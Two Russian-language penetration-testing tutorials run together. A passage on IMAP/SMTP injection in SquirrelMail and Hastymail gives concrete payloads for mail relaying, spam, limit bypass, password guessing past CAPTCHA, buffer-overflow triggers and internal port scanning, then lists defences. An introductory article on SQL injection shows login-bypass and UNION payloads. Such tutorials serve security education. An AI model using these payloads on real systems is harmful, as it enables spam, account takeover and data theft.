  SMTP Injection Example

  ——————————134475172700422922879687252

Он сгенерирует следующую последовательность команд SMTP:

MAIL FROM: <mailfrom>

  RCPT TO: <rcptto>

  DATA

  Subject: SMTP Injection Example

….

Если приложение не достаточно корректно проверяет значение параметра «Subject», атакующий сможет внедрить в него дополнительные SMTP команды:

POST http://<webmail>/compose.php HTTP/1.1

  …

  ——————————134475172700422922879687252

  Content-Disposition: form-data; name=»subject»

  SMTP Injection Example

  .

  MAIL FROM: notexist@external.com

  RCPT TO: user@domain.com

  DATA

  Email data

  .

  ——————————134475172700422922879687252

Команды внедренные в примере выше произведут следующую последовательность SMTP команд, которая будет отослана почтовому серверу и будет включать команды MAIL FROM, RCPT TO и DATA, как показано ниже:

   MAIL FROM: <mailfrom>

  RCPT TO: <rcptto>

  DATA

  Subject: SMTP Injection Example

  .

  MAIL FROM: notexist@external.com

  RCPT TO: user@domain.com

  DATA

  Email data

  .

  …

 MX инъекции: каковы преимущества?

Публикации и обсуждения о подобных инъекциях в почтовые системы существовали и до этой статьи. С уверенностью модно сказать, что наиболее известной является CRLF инъекция в функцию PHP mail().

Тем не менее, они состоят только из частичного внедрения кода, как в случае внедрения заголовков письма. Этот тип инъекций позволит реализовать различные операции (рассылка анонимных писем, спамрелеинг, итд.) которые также возможы с техникой MX инъекций, так как базируются на одном и том же типе уязвимости.

Преимущество же данной техники состоит в возможности полноценной передачи команд уязвимым серверам без каких либо ограничений. Другими словами, её использование допускает не только внедрение заголовков, («From», «Subject», «To», итд.), но и произвольных команд в почтовый сервер (IMAP/SMTP) связанный с веб-приложением.

MX инъекция позволяет обойти стандартный функционал веб-приложения электронной почты (например, разослать большие объёмы почты). Эта техника позволит выполнить дополнительные действия, невозможные непосредственно через веб-приложение (например, спровоцировать переполнение буфера через команду протокола IMAP).

Возможность внедрения произвольных команд будет особенно интересна специалистам по безопасности (pen-testers), так как позволяет использование уязвимостей которые в некоторых ситуациях могут привести к получению полного управления сервером.

 Создание атак

Далее я приведу несколько примеров различных типов атак на почтовые сервера, а также практические примеры использования техники MX-инъекций.

Реальные ситуации были смоделированы на web-приложениях SquirrelMail (версии 1.2.7 и 1.4.5) и Hastymail (версии 1.0.2 и 1.5). SquirellMail версии 1.2.7 более не поддерживается командой SquirellMail, поэтому рекомендуется обновиться как минимум до версии 1.4.6, так как все предыдущие версии уязвимы к данным типам атак. Все версии Hastymail версии младше 1.5 также уязвимы к SMTP и IMAP инъекциям и пользователям настоятельно рекомендовано использовать последние патчи.

Команды разработчиков SquirellMail и Hastymail были уведомлены об уязвимостях и обе быстро предоставили заплатки. Вскоре после этого был выпущен плагин для Nessus, предназначенный для проверки наличия данных уязвимостей.

Атаку необходимо проводить в два приёма:

•   определить уязвимый параметр.
• выяснить, насколько широко можно его использовать.

 Определение уязвимого параметра.

Идентификация уязвимых параметров может быть проведена тем же путем, что и при проверке на другие типы инъекций, т.е. проверкой поведения сервера в нестандартной ситуации. А именно, посылкой приложению необычных значений для каждого из параметров передаваемых далее как часть IMAP либо SMTP протокола, и попытками определить наличие подтверждения уязвимости.

Рассмотрим пример:

Когда пользователь получает доступ к папке INBOX своего почтового аккаунта, запрос к SquirellMail выглядит так:

http://<webmail>/src/right_main.php?PG_SHOWALL=0&sort=0&startMessage=1&mailbox=INBOX

Если пользователь изменит значение «mailbox» таким образом:

http://<webmail>/src/right_main.php?PG_SHOWALL=0&sort=0&startMessage=1&mailbox=INBOX%22

, то приложение отреагирует выдачей сообщения ошибке:

  ERROR : Bad or malformed request.

  Query: SELECT «INBOX»»

  Server responded: Unexpected extra arguments to Select

Очевидно это не должно быть нормальным поведением приложения. Это сообщение об ошибке по мимо всего прочего говорит о том, что была попытка выполнить команду IMAP “SELECT”. Используя эту процедуру, мы можем установить, что параметр “mailbox” подвержен атакам типа MX-инъекция, а в частности IMAP-инъекциям.

В других случаях определение и использование уязвимых параметров может быть не столь очевидным. Например, когда пользователь получает доступ к своей папке INBOX в Hastymail, запрос выглядит так:

  http://<webmail>/html/mailbox.php?id=7944bf5a2e616484769472002f8c1&mailbox=INBOX

Если пользователь изменяет параметр “mailbox” следующим образом:  http://<webmail>/html/mailbox.php?id=7944bf5a2e616484769472002f8c1&mailbox=INBOX»

Приложение реагирует выдачей следующей ошибки:

Could not access the following folders:

INBOX»

To check for outside changes to the folder list go to the folders page

В этом случае, добавление двойной кавычки не изменило поведения приложения. Результат выполнения запроса такой же, как если бы мы добавили любой другой символ:

http://<webmail>/html/mailbox.php?id=7944bf5a2e616484769472002f8c1&mailbox=NOTEXIST

Приложение реагирует выдачей сообщения об ошибке:

  Could not access the following folders:

  NOTEXIST

  To check for outside changes to the folder list go to the folders page

Если пользователь пытается использовать вариации IMAP-инъекции:

http://<webmail>/html/mailbox.php?id=7944bf5a2e616484769472002f8c1&mailbox=NOTEXIST «%0d%0aA0003%20CREATE%20″INBOX.test

Приложение также отреагирует выдачей сообщения об ошибке:

  Unable to perform the requested action

  Hastymail said:: A0003 SELECT «INBOX»

  And the IMAP server said::

  A0003 NO Invalid mailbox name.

Изначально кажется, что попытка IMAP-инъекции не удалась. Однако, используя различные комбинации управляющих символов, можно достичь нужной цели. В следующем пример используется кодирование знака кавычки через представление в виде двух символов, заменяя использованное в предыдущем примере на последовательность %2522:

http://<webmail>/html/mailbox.php?id=7944bf5a2e616484769472002f8c1&mailbox=NOTEXIST

%2522%0d%0aA0003%20CREATE%20%2522INBOX.test

В этом случае приложение не выдаёт никаких сообщений об ошибках и успешно создаёт папку «test» в INBOX.

Другие варианты:

• Подставить в параметр значение null (т.е. “mailbox=”)
• Заменить значение именем несуществующего почтового ящика ( “mailbox=NotExist” ).
• Добавить другие значения к параметрам ( “mailbox=INBOX PARAMETER2” )
• Добавить нестандартные символы ( .?,@,#,!,n)
• Добавить последовательность CRLF ( “mailbox=INBOX%0d%0a”)

 Рамки использования

Когда определён уязвимый параметр (будь то IMAP или SMTP команда), необходимо понять, насколько широко его можно использовать. Другими словами, нужно уяснить последовательность команд и место нашей уязвимой команды в этой последовательности, для того чтобы передать ей адекватные параметры.

Чтобы успешно проделать MX инъекцию, необходимо, чтобы предыдущая команда заканчивалась последовательностью CRLF («%0d%0a»). В этом случае данная последовательность будет использоваться для разделения команд.

Если у пользователя есть возможность внедрения команды и просмотра выдаваемых сообщений об ошибках, то на следующем этапе нужно понять последовательность выполняемых операций.

Рассмотрим пример:

Когда пользователь запрашивает письмо на просмотр, в SquirellMail генерируется следующий запрос:

http://<webmail>/src/read_body.php?mailbox=INBOX&passed_id=1&startMessage=1&show_more=0

Если пользователь изменит значение “passed_id” следующим образом:

http://<webmail>/src/read_body.php?mailbox=INBOX&passed_id=test&startMessage=1&show_more=0

То приложение ответит ошибкой:

•   ERROR : Bad or malformed request.
•   Query: FETCH test:test BODY[HEADER] 
•   Server responded: Error in IMAP command received by server

Здесь пользователь может определить, что выполняемая IMAP команда это “FETCH” вместе сопутствующими параметрами. На этом этапе, определив уязвимый параметр, у нас есть достаточно данных, для проведения инъекции дополнительной команды.

  http://<webmail>/src/read_body.php?mailbox=INBOX&passed_id=1 BODY [HEADER]%0d%0aZ900 RENAME INBOX ENTRADA%0d%0aZ910 FETCH 1&startMessaGe=1&show_more=0

Данный запрос выполнит следующие IMAP команды на сервере:

FETCH 1 BODY[HEADER]

  Z900 RENAME INBOX ENTRADA

  Z910 FETCH 1 BODY[1]

Если же пользователь не может видеть сообщения об ошибках (т.н. «инъекция вслепую»), то информация о соответствующей операции должна быть получена из типа выполняемой операции. К примеру, если инъекция делается через параметр формы аутентификации “password”, IMAP команда, выполняемая сервером, будет выглядеть так:

  AUTH LOGIN <user> <password>

Возвращаясь к вышесказанному: если же инъекция проводится через параметр “mailbox”, то исполняемой IMAP командой будет:

  LIST «<reference>» <mailbox>

Чтобы лучше понять принципы работы IMAP протокола, обратитесь к «»RFC 3501: Internet Message Access Protocol — Version 4rev1″ .

 Атака с утечкой информации

Применённая техника: IMAP инъекция.

Необходимость наличия аутентифицированного пользователя: нет

Эта инъекция может применяться для получения информации об IMAP сервере, в тех случаях, когда получение информации другими методами затруднено.

Предполагая, что пользователь имеет возможность инъекции команды “CAPABILITY” в параметр “mailbox”:

http://<webmail>/src/read_body.php?mailbox=INBOX%22%0d%0aZ900 CAPABILITY%0d%0aZ910 SELECT «INBOX&passed_id=1&startMessage=1&show_more=0

Ответ после команды CAPABILITY отобразит список параметров, разделённый запятыми, вместе с соответствующими каждому параметру возможностями сервера.

  * CAPABILITY IMAP4 IMAP4rev1 UIDPLUS IDLE LOGIN-REFERRALS NAMESPACE QUOTA CHILDREN

  Z900 OK capabilities listed

  * CAPABILITY IMAP4 IMAP4rev1 ACL QUOTA LITERAL+ MAILBOX-REFERRALS NAMESPACE UIDPLUS ID NO_ATOMIC_RENAME UNSELECT CHILDREN MULTIAPPEND SORT THREAD=ORDEREDSUBJECT THREAD=REFERENCES IDLE LISTEXT LIST-SUBSCRIBED ANNOTATEMORE X-NETSCAPE

  Z900 OK Completed

  * CAPABILITY IMAP4rev1 STARTTLS AUTH=GSSAPI XPIG-LATIN

  Z900 OK Completed

С помощью этой команды пользователь может определить различные методы аутентификации, поддерживаемые сервером (ответы “AUTH=”), отключенные команды входа (LOGINDISABLED), добавленные к поддерживаемым расширениям и ревизиям IMAP протокола.

Команда CAPABILITY может быть выполнена без аутентификации, поэтому, если она была обнаружена среди команд, доступных для инъекции, то непременно должна быть выполнена.

обход технологий типа CAPTCHA

Примененная техника: IMAP инъекция.

Необходимость наличия аутентифицированного пользователя: нет

В наши дни обычным для веб-приложений стало использование технологии типа CAPTCHA. Цель очевидна – предотвратить автоматизированные атаки на отдельные процессы. Например, добавление CAPTCHA к форме регистрации пользователя предотвращает вход «робота» в качестве обычного пользователя либо подбор существующих имён пользователей или паролей.

Если механизм аутентификации пользователя IMAP сервера уязвим для IMAP инъекции, злоумышленник может обойти ограничения типа CAPTCHA.

Первое: предположим, что поле “password” в форме аутентификации допускает проведение инъекции IMAP команд. Если атакующий пытается определить пароль “pwdok” пользователя “victim”, он может провести многочисленные запросы, используя, например, атаку по словарю.

Далее, предположим, что словарь состоит из следующих записей: pwderror1, pwderror2, pwdok, pwderror3.

В этом случае, пользователь может внедрить следующие команды для проведения атаки:

  http://<webmail>/src/login.jsp?login=victim&password=%0d%0aZ900 LOGIN victim pwderror1%0d%0aZ910 LOGIN victim pwderror2%0d%0aZ920 LOGIN victim pwdok%0d%0aZ930 LOGIN victim pwderror3

Что приведёт к выполнению соответствующих команд на IMAP сервере: (C – запрос клиента, S – ответы сервера):

  C: Z900 LOGIN victim pwderror1

  S: Z900 NO Login failed: authentication failure

  C: Z910 LOGIN victim pwderror2

  S: Z910 NO Login failed: authentication failure

  C: Z920 LOGIN victim pwdok

  S: Z920 OK User logged in

  C: Z930 LOGIN victim pwderror3

  S: Z930 BAD Already logged in

Итак, если пароль жертвы есть в используемом для подбора словаре, то в конце инъекции злоумышленник обнаружит, что он аутентифицирован на сервере. С этого момента можно производить инъекции команд, для которых необходимо быть аутентифицированным на сервере.

 Релеинг

Примененная техника: SMTP инъекция.

Необходимость наличия аутентифицированного пользователя: да

Пользователь, аутентифицированный веб-приложением, имеет возможность создавать и отсылать электронную почту.

Предположим, что параметр «subject» уязвим для SMTP инъекции.

В этой ситуации возможно проведение атаки для использования сервера как релея. Например следующие команды инициируют посылку письма с «внешнего» адреса на другой «внешний» адрес.

  POST http://<webmail>/compose.php HTTP/1.1

  …

  ——————————134475172700422922879687252

  Content-Disposition: form-data; name=»subject»

  Relay Example

  .

  MAIL FROM: external@domain1.com

  RCPT TO: external@domain2.com

  DATA

  Relay test

  .

  ——————————134475172700422922879687252

  …

Это приведёт к выполнению сервером следующей последовательности SMTP команд:

 MAIL FROM: <mailfrom>

  RCPT TO: <rcptto>

  DATA

  Subject: Relay Example

  .

  MAIL FROM: external@domain1.com

  RCPT TO: external@domain2.com

  DATA

  Relay test

  .

  …

 Рассылка спама.

Примененная техника: SMTP инъекция.

Необходимость наличия аутентифицированного пользователя: да

В этом сценарии всё аналогично предыдущему. Ставя себе цель обойти ограничения, накладываемые сервером (веб-приложением), например по количеству писем, отсылаемых пользователем, атакующий внедряет с уязвимым параметром необходимое количество команд (по нужному количеству писем к отправке). Посылая один нижеприведённый POST запрос веб-серверу, атакующий может выполнить несколько действий. Давайте на примере рассмотрим посылку трёх писем одной командой:

POST http://<webmail>/compose.php HTTP/1.1

  …

  ——————————134475172700422922879687252

  Content-Disposition: form-data; name=»subject»

  SPAM Example

  .

  MAIL FROM: external@domain1.com

  RCPT TO: external@domain2.com

  DATA

  SPAM test

  .

  MAIL FROM: external@domain1.com

  RCPT TO: external@domain2.com

  DATA

  SPAM test

  .

  MAIL FROM: external@domain1.com

  RCPT TO: external@domain2.com

  DATA

  SPAM test

  .

  ——————————134475172700422922879687252

  …

Это приведёт к выполнению следующей последовательности SMTP команд:

MAIL FROM: <mailfrom>

  RCPT TO: <rcptto>

  DATA

  Subject: SPAM Example

  .

  MAIL FROM: external@domain1.com

  RCPT TO: external@domain2.com

  DATA

  SPAM test

  .

  MAIL FROM: external@domain1.com

  RCPT TO: external@domain2.com

  DATA

  SPAM test

  .

  MAIL FROM: external@domain1.com

  RCPT TO: external@domain2.com

  DATA

  SPAM test

  .

  …

Обход ограничений

Примененная техника: SMTP инъекция.

Необходимость наличия аутентифицированного пользователя: да

Этот случай является комбинацией двух предыдущих. Здесь инъекция SMTP команд позволяет обойти ограничения накладываемые на уровне веб-приложения.

Рассмотрим несколько примеров:

Предположим, что веб-приложение не разрешает посылать писем больше заданного количества в определённый промежуток времени. SMTP инъекция позволит обойти ограничение, добавляя столько команд RCPT, сколько необходимо:

POST http://<webmail>/compose.php HTTP/1.1

  ——————————134475172700422922879687252

  Content-Disposition: form-data; name=»subject»

  Test

  .

  MAIL FROM: external@domain1.com

  RCPT TO: external@domain1.com

  RCPT TO: external@domain2.com

  RCPT TO: external@domain3.com

  RCPT TO: external@domain4.com

  Data

  Test

  .

  ——————————134475172700422922879687252

  …

Это приведёт к посылке серверу следующей последовательности команд:

  MAIL FROM: <mailfrom>

  RCPT TO: <rcptto>

  DATA

  Subject: Test

  .

  MAIL FROM: external@domain.com

  RCPT TO: external@domain1.com

  RCPT TO: external@domain2.com

  RCPT TO: external@domain3.com

  RCPT TO: external@domain4.com

  DATA

  Test

  .

  …

Обход ограничения на количество вложений:

Предположим, что веб-приложение накладывает ограничение на количество вложений в письмо. SMTP инъекция позволит обойти этот вид ограничений. На примере уязвимого параметра «subject», посмотрим, как можно вложить три текстовых файла:

…

  ——————————134475172700422922879687252

  Content-Disposition: form-data; name=»subject»

  Test

  .

  MAIL FROM: user1@domain1.com

  RCPT TO: user2@domain2.com

  DATA

  Content-Type: multipart/mixed; boundary=1234567

 

  —1234567

  Content-type: text/plainContent-Disposition: attachment; filename=1.txt

 

  Example 1

  —1234567

  Content-type: text/plain

  Content-Disposition: attachment; filename=2.txt

 

  Example 2

  —1234567

  Content-type: text/plain

  Content-Disposition: attachment; filename=3.txt

 

  Example 3

  —1234567—

  .

  ——————————134475172700422922879687252

  …

Которые произведут следующую последовательность команд, посланных почтовому серверу:

  MAIL FROM: <mailfrom>

  RCPT TO: <rcptto>

  DATA

  Subject: Test

  .

  MAIL FROM: user1@domain1.com

  RCPT TO: user2@domain2.com

  DATA

  Content-Type: multipart/mixed; boundary=1234567

 

  —1234567

  Content-type: text/plain

  Content-Disposition: attachment; filename=1.txt

 

  Example 1

  —1234567

  Content-type: text/plain

  Content-Disposition: attachment; filename=2.txt

 

  Example 2

  —1234567

  Content-type: text/plain

  Content-Disposition: attachment; filename=3.txt

 

  Example 3

  —1234567—

  .

  …

Используя данные три приёма, атакующий может послать столько писем, сколько захочет и с необходимым количеством вложений.

 Использование уязвимостей протоколов

Возможность выполнения произвольных команд почтового протокола на сервере позволит атакующему эксплуатировать существующие уязвимости посылкой серверу соответствующих команд.

Рассмотрим несколько примеров:

DOS-атаки на почтовый сервер

Например: переполнение буфера в MailMax версии 5.

Использование имя почтового ящика длиной более 256 символов в параметре SELECT приведёт к выдаче сообщения «Buffer overrun detected! — Program:»

Теперь сервер остановлен должен быть перезапущен вручную.

Полагая, что если параметр «mailbox» на странице веб-приложения уязвим к IMAP инъекции, использование этой уязвимости может быть проведено следующим способом (требуется, чтобы пользователь был аутентифицирован):

   http://<webmail>/src/compose.php?mailbox=INBOX%0d%0aZ900 SELECT «aa…[256]…aa»

 Выполнение произвольного кода на сервере

Другой пример уязвимого сервера — IMAP сервер MailEnable. Он подвержен переполнению буфера в команде STATUS, которое позволяет выполнить произвольный код на IMAP сервере. Полагая, что параметр «mailbox» веб-приложения уязвим для IMAP инъекции, использование этой уязвимости может быть проведено следующим образом (требуется, чтобы пользователь был аутентифицирован):

http://<webmail>/src/compose.php?mailbox=INBOX%0d%0aZ900 STATUS

 Сканирование портов во внутренней сети

IMAP сервер разработанный в University of Washington (UW-IMAP, http://www.washington.edu/imap) позволяет выполнить сканирование портов используя команду SELECT в формате SELECT «{ip:port}».

На примере рассмотрим использование уязвимости в SquirellMail версии 1.4.2., полагая, что параметр «mailbox» уязвим для IMAP инъекции (требуется, чтобы пользователь был аутентифицирован):

1)      запрос на открытый порт (80) к 192.168.0.1:

http://<webmail>/src/right_main.php?PG_SHOWALL=0&sort=0&startMessage=1&mailbox={192.168.0.1:80}

Ответ на предыдущий запрос:

ERROR : Connection dropped by imap-server.

  Query: SELECT «{192.168.0.1:80}»

2)      запрос на закрытый порт (21) к 192.168.0.1:

http://<webmail>/src/right_main.php?PG_SHOWALL=0&sort=0&startMessage=1&mailbox={192.168.0.1:21}

Ответ сервера предыдущий запрос:

ERROR : Could not complete request.

  Query: SELECT «{192.168.0.1:21}»

  Reason Given: SELECT failed: Connection failed to 192.168.0.1,21: Connection refused

Различия в ответах от IMAP сервера позволяют злоумышленнику выяснить статус нужного порта.

Подытожим: благодаря MX-инъекциям, стало возможно использовать уязвимости в почтовых серверах, которые в обычной ситуации использовать не удастся. Для аудитора безопасности умение находить и эксплуатировать данные уязвимости — большой плюс. По этой причине данный вопрос будет представлен в будущей статье по эксплуатированию MX- инъекций.

Сравнение IMAP и SMTP инъекций.

Ниже приведенная таблица показывает характеристику обоих типов MX инъекций:

	IMAP инъекция	SMTP инъекция
требует аутентифицированного пользователя	нет	да
Типы атак	Утечка информации, прямое использование IMAP протокола, обход технологии CAPTCHA	Утечка информации, прямое использование SMTP протокола, обход ограничений на релеинг/спам

Критерии защиты

Как и при других уязвимостях, приводящих к внедрению данных атакующим, защита веб-проложений электронной почты требует внедрения и применения необходимых мер, предлагаемых командой разработчиком. Однако, чтобы сузить возможность атакующего использующего данные уязвимости, необходимо применять более широкие меры по безопасности всего сервера.

Ниже приведены контрмеры по противодействию подобного типа атакам:

Проверка вводимых данных.

Все введённые данные, используемые приложением (не только введённые пользователем, но и используемые для внутренних нужд) должны быть нормализованы, должны быть удалены все символы, которые могут быть использоваться с умыслом. Проверки должны быть произведены до каких либо манипуляций с данными.

Как обсуждалось ранее, выполнение новых команд IMAP/SMTP требует, чтобы предыдущая команда заканчивалась CRLF. Чтобы убедиться в то, что не внедрено дополнительных команд, вы можете удалить подобные символы до передачи введённых данных непосредственно почтовому серверу.

Конфигурация IMAP/SMTP серверов

Если для доступа к почтовым серверам используется только веб-приложения, данные серверы не должны быть видны из Интернет. В дополнение к этому вы должны усилить ограничения для них, отключая все команды, за исключением действительно необходимых, для снижения угрозы атак MX инъекциями.

Файрволы уровня приложений

Если мы развёртываем такой файрвол наряду с другими системами защиты — можно добавить соответствующие правила к фильтру.

В качестве примера файрвола уровня приложения приведу ModSecurity. Для предыдущего случая со SquirellMail результирующее правило будет выглядеть так:

SecFilterSelective «ARG_mailbox» «rn»

Оно будет фильтровать внедрение последовательности <CRLF> в параметр «mailbox».

Заключение

Этот документ представляет два практических примера веб-приложений (SquirellMail и Hastymail) уязвимых для техники MX инъекций, поэтому все приложения использующие SMTP и IMAP, будут также уязвимы из-за этого.

В настоящее время подавляющее большинство приложений не используют «чистый» протокол (SMTP/IMAP) для связи с почтовым сервером, а используют вызовы стандартных библиотечных функций которые и завершают процесс.

В следующей версии статьи будет проведён анализ упомянутых библиотек, а также веб-приложений, использующих эти библиотеки, которые могут быть уязвимы для MX инъекций.

Уровень сложности
Простой

Время на прочтение
5 мин

Количество просмотров 25K

Мы переходим к технической части статей про тестирование на проникновение. И начнем как всегда с внешнего пути – с эксплуатации веб уязвимостей. И стартанем мы с SQL – инъекций.

SQL-инъекция (SQLi) — это уязвимость веб-безопасности, которая позволяет злоумышленнику вмешиваться в запросы, которые приложение делает к своей базе данных. Как правило, это позволяет просматривать данные, которые он обычно не может получить. Это могут быть других пользователей, или любые другие данные, доступ к которым имеет само приложение. Во многих случаях злоумышленник может изменять или удалять эти данные, вызывая постоянные изменения в содержимом или поведении приложения.

В некоторых ситуациях злоумышленник может усилить атаку SQL-инъекции, чтобы скомпрометировать базовый сервер или другую внутреннюю инфраструктуру, или осуществить атаку типа «отказ в обслуживании».

Каковы последствия успешной атаки SQL-инъекции?

Успешная атака SQL-инъекции может привести к несанкционированному доступу к конфиденциальным данным, таким как пароли, данные кредитных карт или личная информация пользователей. Многие громкие утечки данных в последние годы стали результатом атак с использованием SQL-инъекций, что привело к ухудшению репутации и штрафам со стороны регулирующих органов. В некоторых случаях злоумышленник может получить постоянный черный ход в системы организации, что приводит к долгосрочной угрозе, которая может оставаться незамеченной в течение длительного периода времени.

Примеры SQL-инъекций

Существует широкий спектр уязвимостей, атак и методов SQL-инъекций, которые возникают в различных ситуациях. Некоторые распространенные примеры инъекций SQL включают:

• Получение скрытых данных, когда вы можете изменить SQL-запрос, чтобы вернуть дополнительные результаты.

• Подрыв логики приложения, когда можно изменить запрос, чтобы вмешаться в логику приложения.

• Атаки UNION, когда можно получить данные из разных таблиц базы данных.

• Изучение базы данных, когда можно получить информацию о версии и структуре базы данных.

• Слепая SQL-инъекция, когда результаты контролируемого вами запроса не возвращаются в ответах приложения.

Извлечение скрытых данных

Рассмотрим приложение для покупок, которое отображает товары в различных категориях. Когда пользователь нажимает на категорию «Подарки», его браузер запрашивает URL-адрес:

https://uhahatbltv.com/?category=Gifts

Это заставляет приложение выполнить SQL-запрос для получения информации о соответствующих товарах из базы данных:

SELECT * FROM products WHERE category = 'Gifts' AND released = 1

Этот SQL-запрос просит базу данных вернуть:

все данные (*) из таблицы продуктов где категория — «Подаркии» released = 1.

Ограничение released = 1 используется для скрытия продуктов, которые не выпущены. Для невыпущенных продуктов, предположительно, released = 0.

 В приложении не реализована защита от атак SQL-инъекций, поэтому злоумышленник может построить атаку типа:

https://uhahatbltv.com/products?category=Gifts'--.

В результате получится SQL-запрос:

SELECT * FROM products WHERE category = 'Gifts'--' AND released = 1

Ключевым моментом здесь является то, что последовательность двойных тире — является индикатором комментария в SQL и означает, что остальная часть запроса интерпретируется как комментарий. Это эффективно удаляет остаток запроса, так что он больше не включает AND released = 1. Это означает, что отображаются все продукты, включая еще не выпущенные.

Если пойти дальше, злоумышленник может заставить приложение отобразить все продукты в любой категории, включая категории, о которых он не знает:

https://uhahatbltv.com/products?category=Gifts'+OR+1=1--.

В результате получается SQL-запрос:

SELECT * FROM products WHERE category = 'Gifts' OR 1=1--' AND released = 1

 Модифицированный запрос вернет все товары, где
либо категория — Gifts, либо 1 равна 1. Поскольку 1=1 всегда истинно, запрос
вернет все товары.

Подрыв логики приложения

Рассмотрим приложение, которое позволяет пользователям входить в систему с помощью имени пользователя и пароля. Если пользователь вводит имя пользователя wiener и пароль bluecheese, приложение проверяет учетные данные, выполняя следующий SQL-запрос:

SELECT * FROM users WHERE username = 'wiener' AND password = 'bluecheese'

Если запрос возвращает данные пользователя, то вход в систему будет успешным. В противном случае он будет отклонен.

Здесь злоумышленник может войти в систему как любой пользователь без пароля, просто используя последовательность комментариев SQL — для удаления проверки пароля из пункта WHERE запроса. Например, если ввести имя пользователя administrator’— и пустой пароль, то получится следующий запрос:

SELECT * FROM users WHERE username = 'administrator'--' AND password = ''

Этот запрос возвращает пользователя, чье имя пользователя — administrator, и успешно регистрирует атакующего как этого пользователя.

Получение данных из других таблиц базы данных

В случаях, когда результаты SQL-запроса возвращаются в ответах приложения, злоумышленник может использовать уязвимость SQL-инъекции для получения данных из других таблиц базы данных. Для этого используется ключевое слово UNION, которое позволяет выполнить дополнительный запрос SELECT и добавить его результаты к исходному запросу.

Например, если приложение выполняет следующий запрос, содержащий пользовательский ввод «Gifts»:

SELECT name, description FROM products WHERE category = 'Gifts'

 то злоумышленник может отправить ввод:

' UNION SELECT username, password FROM users--.

 Это заставит приложение вернуть все имена пользователей и пароли вместе с названиями и описаниями товаров.

Изучение базы данных, ну или определение версии и т. д.

После первоначальной идентификации уязвимости SQL-инъекции обычно полезно получить некоторую информацию о самой базе данных. Эта информация часто может проложить путь для дальнейшей эксплуатации.

Вы можете запросить информацию о версии базы данных. Способ, которым это делается, зависит от типа базы данных, поэтому вы можете определить тип базы данных по тому, какая техника работает. Например, в Oracle вы можете выполнить:

SELECT * FROM v$version

Вы также можете определить, какие таблицы базы данных существуют, и какие столбцы они содержат. Например, для большинства баз данных вы можете выполнить следующий запрос, чтобы получить список таблиц:

SELECT * FROM information_schema.tables

Слепые уязвимости SQL-инъекции

Многие случаи SQL-инъекций являются слепыми уязвимостями. Это означает, что приложение не возвращает результаты SQL-запроса или сведения об ошибках базы данных в своих ответах. Слепые уязвимости все еще могут быть использованы для несанкционированного доступа к данным, но соответствующие техники обычно более сложны и трудновыполнимы.

В зависимости от характера уязвимости и используемой базы данных, для эксплуатации слепых уязвимостей SQL-инъекций можно использовать следующие техники:

• Можно изменить логику запроса, чтобы вызвать заметную разницу в реакции приложения в зависимости от истинности одного условия. Это может включать в себя введение нового условия в некоторую булеву логику или условное срабатывание ошибки, такой как деление на ноль.

• Можно условно вызвать временную задержку в обработке запроса, что позволяет сделать вывод об истинности условия на основе времени, которое требуется приложению для ответа.

• Можно вызвать внеполосное сетевое взаимодействие, используя технику OAST. Эта техника является чрезвычайно мощной и работает в ситуациях, когда другие техники не работают. Часто вы можете напрямую передать данные по внеполосному каналу, например, поместив данные в DNS-поиск для домена, который вы контролируете.

 В следующих статьях мы подробно разберем каждый вид SQL –инъекции.